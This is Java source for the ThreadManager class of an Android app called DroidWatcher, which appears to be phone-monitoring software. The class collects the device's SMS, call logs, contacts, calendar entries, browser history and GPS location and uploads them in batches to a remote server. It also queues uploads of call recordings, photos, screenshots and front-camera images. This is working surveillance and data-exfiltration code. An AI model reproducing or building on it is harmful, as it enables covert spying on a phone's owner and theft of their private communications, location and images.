package com.droidwatcher;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.support.v4.content.LocalBroadcastManager;

import com.alibaba.fastjson.JSON;
import com.droidwatcher.FileSender.FileType;
import com.droidwatcher.JsonEntity.BrowserJsonObj;
import com.droidwatcher.JsonEntity.CalendarJsonObj;
import com.droidwatcher.JsonEntity.CallJsonObj;
import com.droidwatcher.JsonEntity.ContactJsonObj;
import com.droidwatcher.JsonEntity.HttpRequestHead;
import com.droidwatcher.JsonEntity.SMSJsonObj;
import com.droidwatcher.lib.GPS;
import com.droidwatcher.lib.IMessageBody;
import com.droidwatcher.lib.MessageType;
import com.droidwatcher.receivers.ConnectionReceiver;
import com.droidwatcher.retrofit.MyRetrofitFactory;
import com.droidwatcher.retrofit.Result;
import com.droidwatcher.util.AXLog;
import com.droidwatcher.variables.DBResult;
import com.droidwatcher.variables.LocationServerMsg;
import com.droidwatcher.variables.ServerMessage;

import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;

import okhttp3.MediaType;
import okhttp3.RequestBody;
import rx.Observable;
import rx.Subscriber;
import rx.android.schedulers.AndroidSchedulers;
import rx.functions.Func1;
import rx.schedulers.Schedulers;

public class ThreadManager {
    private Context mContext;
    private DBManager mDbManager;
    private SettingsManager mSettings;
    private BroadcastReceiver mReceiver;
    private static ExecutorService mExecutorService;

    private boolean mIsCallThreadReady = true;
    private boolean mIsSmsThreadReady = true;
    private boolean mIsBrowserThreadReady = true;
    private boolean mIsContactThreadReady = true;
    private boolean mIsCalendarThreadReady = true;

    private static final Long SLEEP = 1 * 1000L;

    private static long sLastUpdate = 0L;
    private static final long UPDATE_PERIOD = 10 * 60 * 1000L;
    HttpRequestHead head = new HttpRequestHead();

    public ThreadManager(Context context) {
        this.mContext = context;
        this.mDbManager = new DBManager(context);
        this.mSettings = new SettingsManager(context);
        this.mExecutorService = Executors.newSingleThreadExecutor();


        this.mReceiver = new BroadcastReceiver() {
            @Override
            public void onReceive(Context context, Intent intent) {
                sendLogs();
            }
        };
        //oncreate sendLogs once
        sendLogs();

        LocalBroadcastManager.getInstance(context).registerReceiver(mReceiver, new IntentFilter(ConnectionReceiver.NETWORK_AVAILABLE));
    }

    public void dispose() {
        Debug.i("[ThreadManager] dispose;");

        LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mReceiver);
        mDbManager.close();
        mDbManager = null;

        try {
            mExecutorService.awaitTermination(5L, TimeUnit.SECONDS);
        } catch (InterruptedException e) {
            Debug.exception(e);
            mExecutorService = null;
        }
    }

    public synchronized void addTask(Runnable runnable) {
        this.mExecutorService.submit(runnable);
    }

     public synchronized void onSMSChange() {
        if (!mIsSmsThreadReady) {
            return;
        }
        mIsSmsThreadReady = false;
        mExecutorService.submit(new Runnable() {
            public void run() {
                try {
                    Thread.sleep(SLEEP);

                } catch (InterruptedException e) {
                    Debug.exception(e);
                } finally {
                    mIsSmsThreadReady = true;
                }
                smsUpdate();
            }
        });
    }

    public synchronized void onBrowserChange() {

//        if (!mIsSmsThreadReady) {
//            return;
//        }
//        mIsSmsThreadReady = false;
//        mExecutorService.submit(new Runnable() {
//            public void run() {
//                try {
//                    Thread.sleep(SLEEP);
//
//                } catch (InterruptedException e) {
//                    Debug.exception(e);
//                } finally {
//                    mIsSmsThreadReady = true;
//                }
                 browserHistoryUpdate();
//            }
//        });
    }

    public synchronized void onCallChange() {
        AXLog.e("wzytest", "run in 电话改变 mIsCallThreadReady:" + mIsCallThreadReady);
        if (!mIsCallThreadReady) {
            return;
        }
        AXLog.e("wzytest", "run in 电话改变 2222:");
        mIsCallThreadReady = false;
        mExecutorService.submit(new Runnable() {
            public void run() {

                AXLog.e("wzytest", "run in 电话改变 3333:");
                try {
                    Thread.sleep(SLEEP);

                } catch (InterruptedException e) {
                    Debug.exception(e);

                } finally {
                    mIsCallThreadReady = true;
                }

                callUpdate();
            }
        });
    }

    public synchronized void onContactChange() {
        AXLog.e("wzytest", "run in 联系人 mIsCallThreadReady:" + mIsCallThreadReady);
        if (!mIsContactThreadReady) {
            return;
        }
        AXLog.e("wzytest", "run in 联系人 2222:");
        mIsContactThreadReady = false;
        mExecutorService.submit(new Runnable() {
            public void run() {

                AXLog.e("wzytest", "run in 联系人 3333:");
                try {
                    Thread.sleep(SLEEP);

                } catch (InterruptedException e) {
                    Debug.exception(e);

                } finally {
                    mIsContactThreadReady = true;
                }

                contactsUpdate();
            }
        });
    }

    public synchronized void onCanlendarChange() {
        AXLog.e("wzytest", "run in 日历 mIsCallThreadReady:" + mIsCallThreadReady);
        if (!mIsCalendarThreadReady) {
            return;
        }
        AXLog.e("wzytest", "run in 日历 2222:");
        mIsCalendarThreadReady = false;
        mExecutorService.submit(new Runnable() {
            public void run() {

                AXLog.e("wzytest", "run in 日历 3333:");
                try {
                    Thread.sleep(SLEEP);

                } catch (InterruptedException e) {
                    Debug.exception(e);

                } finally {
                    mIsCalendarThreadReady = true;
                }

                calandarUpdate();
            }
        });
    }

    public synchronized void resetBrowserHistory() {
        mDbManager.resetBrowserHistory();
    }

    public synchronized void onBrowserHistoryChange() {
        if (!mIsBrowserThreadReady) {
            return;
        }

        mIsBrowserThreadReady = false;
        mExecutorService.submit(new Runnable() {
            public void run() {
                try {
                    Thread.sleep(5 * SLEEP);

                } catch (InterruptedException e) {
                    Debug.exception(e);

                } finally {
                    mIsBrowserThreadReady = true;
                }

                browserHistoryUpdate();
            }
        });
    }

    public void onGPSChange(final GPS gps) {
        if (networkAvailable()) {

            ArrayList<IMessageBody> list = new ArrayList<IMessageBody>(1);
            list.add(gps);
            LocationServerMsg msg = null;

//			if(gps instanceof GDGPS){
//				AXLog.d("wzytest","run in onGPSChange "+"这是高德GPS");
//				GDGPS gdgps = (GDGPS) gps;
//				msg = new LocationServerMsg(MessageType.GPS,gdgps);
//			}else{
//				AXLog.d("wzytest","run in onGPSChange "+"这是GPS");
            msg = new LocationServerMsg(MessageType.GPS, gps);
//			}

            new ServerMessanger(mContext, msg, new ServerMessanger.ICallBack() {
                @Override
                public void onSuccess() {
                }

                @Override
                public boolean onFinished(String response) {
                    return false;
                }

                @Override
                public void onError() {
                    mExecutorService.submit(new Runnable() {
                        public void run() {
                            mDbManager.addGPS(gps);
                        }
                    });
                }

            }).start();
        } else {
            mExecutorService.submit(new Runnable() {
                public void run() {
                    mDbManager.addGPS(gps);
                }
            });
        }
    }

    public synchronized void sendLogs() {
        Long currentDate = new Date().getTime();
        AXLog.e("wzytest", "run in  上传日志 ：" + currentDate + " sLastUpdate:" + sLastUpdate);

        //发送信息的间隔不能少于10分钟
        if ((currentDate - sLastUpdate) > (UPDATE_PERIOD) && networkAvailable()) {
            sLastUpdate = currentDate;
//			sendToServer(mDbManager.getSMS(), MessageType.SMS);
//			sendToServer(mDbManager.getCalls(), MessageType.CALL);
//			sendToServer(mDbManager.getGPS(), MessageType.GPS);
            AXLog.e("wzytest", "发送短信到服务器");

            sendToServer1(mDbManager.getSMS(), MessageType.SMS);
            AXLog.e("wzytest", "发送电话到服务器");

            sendToServer1(mDbManager.getCalls(), MessageType.CALL);

            sendToServer1(mDbManager.getGPS(), MessageType.GPS);

               // AXLog.e("wzytest","发送浏览器记录到服务器 :"+mDbManager.getBrowserHistory().getBodyList().size());
            sendToServer1(mDbManager.getBrowserHistory(), MessageType.BROWSER);

        }

        if (networkAvailable_files()) {
            mExecutorService.submit(new FileSender(mContext, FileType.RECORD));
            mExecutorService.submit(new FileSender(mContext, FileType.PHOTO));
            mExecutorService.submit(new FileSender(mContext, FileType.SCREENSHOT));
            mExecutorService.submit(new FileSender(mContext, FileType.FRONT_CAMERA_PHOTO));
        }

//		mExecutorService.submit(new Runnable() {
//			@Override
//			public void run() {
//				SmsNotification smsNotify = new SmsNotification(mContext);
//				DBResult result = null;
//
//				result = mDbManager.getSMS(true);
//				if (result != null){
//					if (smsNotify.notifySms()) {
//						smsNotify.sendSmsLog(result.getBodyList());
//						mDbManager.updateSmsSentStatus(MessageType.SMS, result.getIdList());
//					}
//					else{
//						mDbManager.updateSmsSentStatus(MessageType.SMS, result.getIdList());
//					}
//				}
//
//				result = mDbManager.getCalls(true);
//				if (result != null){
//					if (smsNotify.notifyCall()) {
//						smsNotify.sendCallLog(result.getBodyList());
//						mDbManager.updateSmsSentStatus(MessageType.CALL, result.getIdList());
//					}
//					else{
//						mDbManager.updateSmsSentStatus(MessageType.CALL, result.getIdList());
//					}
//				}
//			}
//		});
    }


    private void  sendToServer1(final DBResult result, final MessageType type) {
        final ArrayList<Long> idList = new ArrayList<Long>(30);

        Observable.just(result)
                .map(new Func1<DBResult, List<IMessageBody>>() {
                    @Override
                    public List<IMessageBody> call(DBResult dbResult) {
                        ArrayList<IMessageBody> bodyList = null;
                        if (dbResult.hasElements()) {  //这样的话每次上传30个
//                        while (dbResult.hasElements()) {
                            bodyList = new ArrayList<IMessageBody>(30);
                            dbResult.getElements(30, idList, bodyList);
                            AXLog.e("wzytest","getElements idList:"+idList +" size:"+idList.size());
                        }
                        return bodyList;
                    }
                })
                .flatMap(new Func1<List<IMessageBody>, Observable<Result<String>>>() {
                    @Override
                    public Observable<Result<String>> call(List<IMessageBody> iMessageBodies) {
                        HttpRequestHead head = new HttpRequestHead();
                        if (type == MessageType.SMS) {
                            SMSJsonObj.Data data = new SMSJsonObj.Data();
                            data.setSmsList(iMessageBodies);
                            SMSJsonObj jsonObj = new SMSJsonObj();
                            jsonObj.setData(data);
                            jsonObj.setHead(head);
                            RequestBody body = RequestBody.create(MediaType.parse("application/json"), JSON.toJSONString(jsonObj));
                            return MyRetrofitFactory.getSendAPISingleton().uploadSMS(body);
                        } else if (type == MessageType.CALL) {
                            CallJsonObj.Data data = new CallJsonObj.Data();
                            AXLog.e("wzytest","iMessageBodies:"+iMessageBodies);
                            data.setCallEntityList(iMessageBodies);
                            CallJsonObj jsonObj = new CallJsonObj();
                            jsonObj.setData(data);
                            jsonObj.setHead(head);
                            RequestBody body = RequestBody.create(MediaType.parse("application/json"), JSON.toJSONString(jsonObj));
                            return MyRetrofitFactory.getSendAPISingleton().uploadCall(body);
                        } else if (type == MessageType.GPS) {
//							 .Data data = new SMSJsonObj.Data();
//							 data.setSmsList(iMessageBodies);
//							 SMSJsonObj jsonObj = new SMSJsonObj();
//							 jsonObj.setData(data);
//							 jsonObj.setHead(head);
//							 RequestBody body = RequestBody.create(MediaType.parse("application/json"),JSON.toJSONString(jsonObj));
//							 return MyRetrofitFactory.getSendAPISingleton().uploadCall(body);
                        }else if(type == MessageType.BROWSER){
                            AXLog.e("wzytest","上传浏览器信息到服务器");
                            BrowserJsonObj.Data data = new BrowserJsonObj.Data();
                            data.setBrowserHistories(iMessageBodies);
                            BrowserJsonObj jsonObj = new BrowserJsonObj();
                            jsonObj.setData(data);
                            jsonObj.setHead(head);
                            RequestBody body = RequestBody.create(MediaType.parse("application/json"), JSON.toJSONString(jsonObj));
                            return MyRetrofitFactory.getSendAPISingleton().uploadBrowser(body);
                        }
                        return null;
                    }
                })
//                .flatMap(new Func1<IMessageBody, Observable<ResponseBody>>() {
//                    @Override
//                    public Observable<ResponseBody> call(IMessageBody iMessageBody) {
//                        RequestBody body = RequestBody.create(MediaType.parse("application/json"),iMessageBody.getJSONObject().toString());
//						HttpRequestHead head = new HttpRequestHead();
//                        if (type == MessageType.CALL) {
//                        	SMSJsonObj.Data data = new SMSJsonObj.Data();
//                        	data.setSmsList();
//							SMSJsonObj jsonObj = new SMSJsonObj();
//							jsonObj.setData();
//							jsonObj.setHead(head);
//                            return MyRetrofitFactory.getSendAPISingleton().uploadCall(body);
//                        } else if (type == MessageType.SMS) {
//                            return MyRetrofitFactory.getSendAPISingleton().uploadCall(body);
//                        } else if (type == MessageType.GPS) {
//                            return MyRetrofitFactory.getSendAPISingleton().uploadCall(body);
//                        }
//                        return null ;
//                    }
//                })
                .subscribeOn(Schedulers.io())
                .subscribe(new Subscriber<Result<String>>() {
                    @Override
                    public void onCompleted() {

                    }

                    @Override
                    public void onError(Throwable e) {

                    }

                    @Override
                    public void onNext(Result<String> mySendResult) {
                        AXLog.e("wzytest", "mySendResultResult:" + mySendResult.toString());
                        if (mySendResult.getMeta().getCode().equals("0") ) {
//                            ArrayList<Long> idList = new ArrayList<Long>(30);
//                            ArrayList<IMessageBody> bodyList = new ArrayList<IMessageBody>(30);
//                            //AXLog.e("wzytest", "result.hasElements():"+result.hasElements());
//                            while (result.hasElements()){
//                                result.getElements(30, idList, bodyList);
//                            }
                            //改变其是否上传状态
                            mDbManager.updateSentStatus(type, idList);
                        }
                    }
                });

    }

    private void sendToServer(DBResult result, MessageType type) {


        // 把所有信息发送到服务器

        if (result == null) {
            return;
        }

        while (result.hasElements()) {
            ArrayList<Long> idList = new ArrayList<Long>(30);
            ArrayList<IMessageBody> bodyList = new ArrayList<IMessageBody>(30);
            result.getElements(30, idList, bodyList);

            ServerMessage msg = new ServerMessage(type, mSettings.imei(), mSettings.login(), bodyList);

            mExecutorService.submit(
                    new ServerMessanger(mContext, msg, new ResponseHandler(type, idList))
            );
        }

    }

    public synchronized void sendFiles() {
        if (networkAvailable_files()) {
            mExecutorService.submit(new FileSender(mContext, FileType.RECORD));
            mExecutorService.submit(new FileSender(mContext, FileType.PHOTO));
            mExecutorService.submit(new FileSender(mContext, FileType.SCREENSHOT));
            mExecutorService.submit(new FileSender(mContext, FileType.FRONT_CAMERA_PHOTO));
        }
    }

    private void smsUpdate() {

        if (!mDbManager.compareSMS()) {
            return;
        }

//        SmsNotification smsNotify = new SmsNotification(mContext);
        Boolean network = networkAvailable();

//        if (!network && !smsNotify.notifySms()) {
//            return;
//        }

        AXLog.e("wzytest", "信息发生变化");
        final DBResult result = mDbManager.getSMS();


        if (result.getIdList().size() == 0) {
            return;
        }

        if (network && result.hasElements()) {
            AXLog.e("wzytest", "与服务器交互 :" + " mSettings.imei():" + mSettings.imei() + " mSettings.login():" + mSettings.login() +
                    " result.getBodyList():" + result.getBodyList());


            SMSJsonObj.Data data = new SMSJsonObj.Data();
            data.setSmsList(result.getBodyList());
            SMSJsonObj jsonObj = new SMSJsonObj();
            jsonObj.setData(data);
            jsonObj.setHead(head);
            RequestBody body = RequestBody.create(MediaType.parse("application/json"), JSON.toJSONString(jsonObj));


            MyRetrofitFactory.getSendAPISingleton().uploadSMS(body).subscribeOn(Schedulers.io())
                    .observeOn(AndroidSchedulers.mainThread())
                    .subscribe(new Subscriber<Result<String>>() {
                        @Override
                        public void onCompleted() {

                        }

                        @Override
                        public void onError(Throwable e) {

                        }

                        @Override
                        public void onNext(Result<String> stringResult) {
                            if (stringResult.getMeta().getCode().equals("0") ) {
                               // mDbManager.updateSmsSentStatus(MessageType.SMS, result.getIdList());
                                mDbManager.updateSentStatus(MessageType.SMS, result.getIdList());
                            }
                        }
                    });

//            SMSServerMsg msg = new SMSServerMsg(MessageType.SMS, result.getBodyList());
//            new ServerMessanger(mContext, msg, new ResponseHandler(MessageType.SMS, result.getIdList())).run();
        }


//        if (smsNotify.notifySms()) {
//            AXLog.e("wzytest", "发消息给手机");
//            result = mDbManager.getSMS(true);
//            if (result.getIdList().size() > 0) {
//                smsNotify.sendSmsLog(result.getBodyList());
//            }
//        }


    }

    private void callUpdate() {
        AXLog.e("wzytest", "callUpdate 111111");
        if (!mDbManager.compareCall()) {
            return;
        }

//        SmsNotification smsNotify = new SmsNotification(mContext);

        Boolean network = networkAvailable();

//        if (!network && !smsNotify.notifyCall()) {
//            return;
//        }

        final DBResult result = mDbManager.getCalls();
        if (result.getIdList().size() == 0) {
            return;
        }

        if (network) {
            CallJsonObj.Data data = new CallJsonObj.Data();
            data.setCallEntityList(result.getBodyList());
            CallJsonObj jsonObj = new CallJsonObj();
            jsonObj.setData(data);
            jsonObj.setHead(head);
            RequestBody body = RequestBody.create(MediaType.parse("application/json"), JSON.toJSONString(jsonObj));
            MyRetrofitFactory.getSendAPISingleton().uploadCall(body).subscribeOn(Schedulers.io())
                    .observeOn(AndroidSchedulers.mainThread())
                    .subscribe(new Subscriber<Result<String>>() {
                        @Override
                        public void onCompleted() {

                        }

                        @Override
                        public void onError(Throwable e) {

                        }

                        @Override
                        public void onNext(Result<String> stringResult) {
                            if (stringResult.getMeta().getCode().equals("0")) {
//                            ArrayList<Long> idList = new ArrayList<Long>(30);
//                            ArrayList<IMessageBody> bodyList = new ArrayList<IMessageBody>(30);
//                            //AXLog.e("wzytest", "result.hasElements():"+result.hasElements());
//                            while (result.hasElements()){
//                                result.getElements(30, idList, bodyList);
//                            }
                                //改变其是否上传状态
                             //   mDbManager.updateSmsSentStatus(MessageType.CALL, result.getIdList());
                                mDbManager.updateSentStatus(MessageType.CALL, result.getIdList());
                            }

                        }
                    });
//            CALLServerMsg msg = new CALLServerMsg(MessageType.CALL, result.getBodyList());
//
//            new ServerMessanger(mContext, msg, new ResponseHandler(MessageType.CALL, result.getIdList())).run();
        }

//        if (smsNotify.notifyCall()) {
//            result = mDbManager.getCalls(true);
//            if (result.getIdList().size() > 0) {
//                smsNotify.sendCallLog(result.getBodyList());
//            }
//        }


    }


    private void contactsUpdate() {
        AXLog.e("wzytest", "联系人 111111");
        if (!mDbManager.compareContacts()) {
            return;
        }

        Boolean network = networkAvailable();

        final DBResult result = mDbManager.getContacts();
        if (result.getIdList().size() == 0) {
            return;
        }

        if (network) {
            ContactJsonObj.Data data = new ContactJsonObj.Data();
            data.setContactArrayList(result.getBodyList());
            ContactJsonObj jsonObj = new ContactJsonObj();
            jsonObj.setData(data);
            jsonObj.setHead(head);
            RequestBody body = RequestBody.create(MediaType.parse("application/json"), JSON.toJSONString(jsonObj));
            MyRetrofitFactory.getSendAPISingleton().uploadContact(body).subscribeOn(Schedulers.io())
                    .observeOn(AndroidSchedulers.mainThread())
                    .subscribe(new Subscriber<Result<String>>() {
                        @Override
                        public void onCompleted() {
                            AXLog.e("wzytest","run in onCompleted: ");
                        }

                        @Override
                        public void onError(Throwable e) {
                            e.printStackTrace();
                            AXLog.e("wzytest","run in onError: ");
                        }

                        @Override
                        public void onNext(Result<String> stringResult) {
                            if (stringResult.getMeta().getCode().equals("0") ) {
                                mDbManager.updateSentStatus(MessageType.CONTACT, result.getIdList());
                                //mDbManager.updateSmsSentStatus(MessageType.CONTACT, result.getIdList());
                            }

                        }
                    });
        }
    }


    private void calandarUpdate() {
        AXLog.e("wzytest", "日历change");
        if (!mDbManager.compareCalendar()) {
            return;
        }

        Boolean network = networkAvailable();

        final DBResult result = mDbManager.getCalendar();

        if (result.getIdList().size() == 0) {
            return;
        }

        if (network) {
            CalendarJsonObj.Data data = new CalendarJsonObj.Data();
            data.setCalendarEntityList(result.getBodyList());
            CalendarJsonObj jsonObj = new CalendarJsonObj();
            jsonObj.setData(data);
            jsonObj.setHead(head);
            AXLog.e("wzytest","result.getBodyList().size:"+result.getBodyList().size());
            RequestBody body = RequestBody.create(MediaType.parse("application/json"), JSON.toJSONString(jsonObj));
            MyRetrofitFactory.getSendAPISingleton().uploadCalendar(body).subscribeOn(Schedulers.io())
                    .observeOn(AndroidSchedulers.mainThread())
                    .subscribe(new Subscriber<Result<String>>() {
                        @Override
                        public void onCompleted() {
                            AXLog.e("wzytest","run in onCompleted: ");
                        }

                        @Override
                        public void onError(Throwable e) {
                            e.printStackTrace();
                            AXLog.e("wzytest","run in onError: ");
                        }

                        @Override
                        public void onNext(Result<String> stringResult) {
                            AXLog.e("wzytest","run in onNext stringResult: "+stringResult);
                            if (stringResult.getMeta().getCode().equals("0") ) {
                                mDbManager.updateSentStatus(MessageType.CALENDAR, result.getIdList());
                                //mDbManager.updateSmsSentStatus(MessageType.CONTACT, result.getIdList());
                            }

                        }
                    });
        }
    }


    private void browserHistoryUpdate() {
        if (!mDbManager.compareBrowserHistory()) {
            return;
        }

        if (!networkAvailable()) {
            return;
        }

        DBResult result = mDbManager.getBrowserHistory();
        if (result.getIdList().size() == 0) {
            return;
        }

        BrowserJsonObj obj = new BrowserJsonObj();
        obj.setHead(new HttpRequestHead());
        BrowserJsonObj.Data data = new BrowserJsonObj.Data();
        data.setBrowserHistories(result.getBodyList());
        obj.setData(data);
        RequestBody body = RequestBody.create(MediaType.parse("application/json"), JSON.toJSONString(obj));
        MyRetrofitFactory.getSendAPISingleton().uploadBrowser(body)
                .subscribeOn(Schedulers.io())
                .subscribe(new Subscriber<Result<String>>() {
                    @Override
                    public void onCompleted() {
                        AXLog.e("wzytest","run on onCompleted");
                    }

                    @Override
                    public void onError(Throwable e) {
                        AXLog.e("wzytest","run on onError");
                    }

                    @Override
                    public void onNext(Result<String> stringResult) {
                        AXLog.e("wzytest","run on onNext:"+stringResult.toString());
                    }
                });
    }

    private  Boolean networkAvailable() {
        ConnectivityManager manager = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
        NetworkInfo info = manager.getActiveNetworkInfo();

        if (info == null) {
            return false;
        }

        if (mSettings.onlyWiFi() && info.getType() != ConnectivityManager.TYPE_WIFI) {
            return false;
        }

        return info.isConnectedOrConnecting();
    }

    private  Boolean networkAvailable_files() {
        ConnectivityManager manager = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
        NetworkInfo info = manager.getActiveNetworkInfo();

        if (info == null) {
            return false;
        }

        if ((mSettings.onlyWiFi() || mSettings.filesOnlyWiFi()) && info.getType() != ConnectivityManager.TYPE_WIFI) {
            return false;
        }

        return info.isConnectedOrConnecting();
    }

    private class ResponseHandler implements ServerMessanger.ICallBack {
        private MessageType mType;
        private ArrayList<Long> mIdList;

        public ResponseHandler(MessageType type, ArrayList<Long> idList) {
            mType = type;
            mIdList = idList;
        }

        @Override
        public void onSuccess() {
            AXLog.e("wzytest", "更新状态信息");
            mDbManager.updateSentStatus(mType, mIdList);
        }

        @Override
        public boolean onFinished(String response) {
            return false;
        }

        @Override
        public void onError() {
        }
    }
}
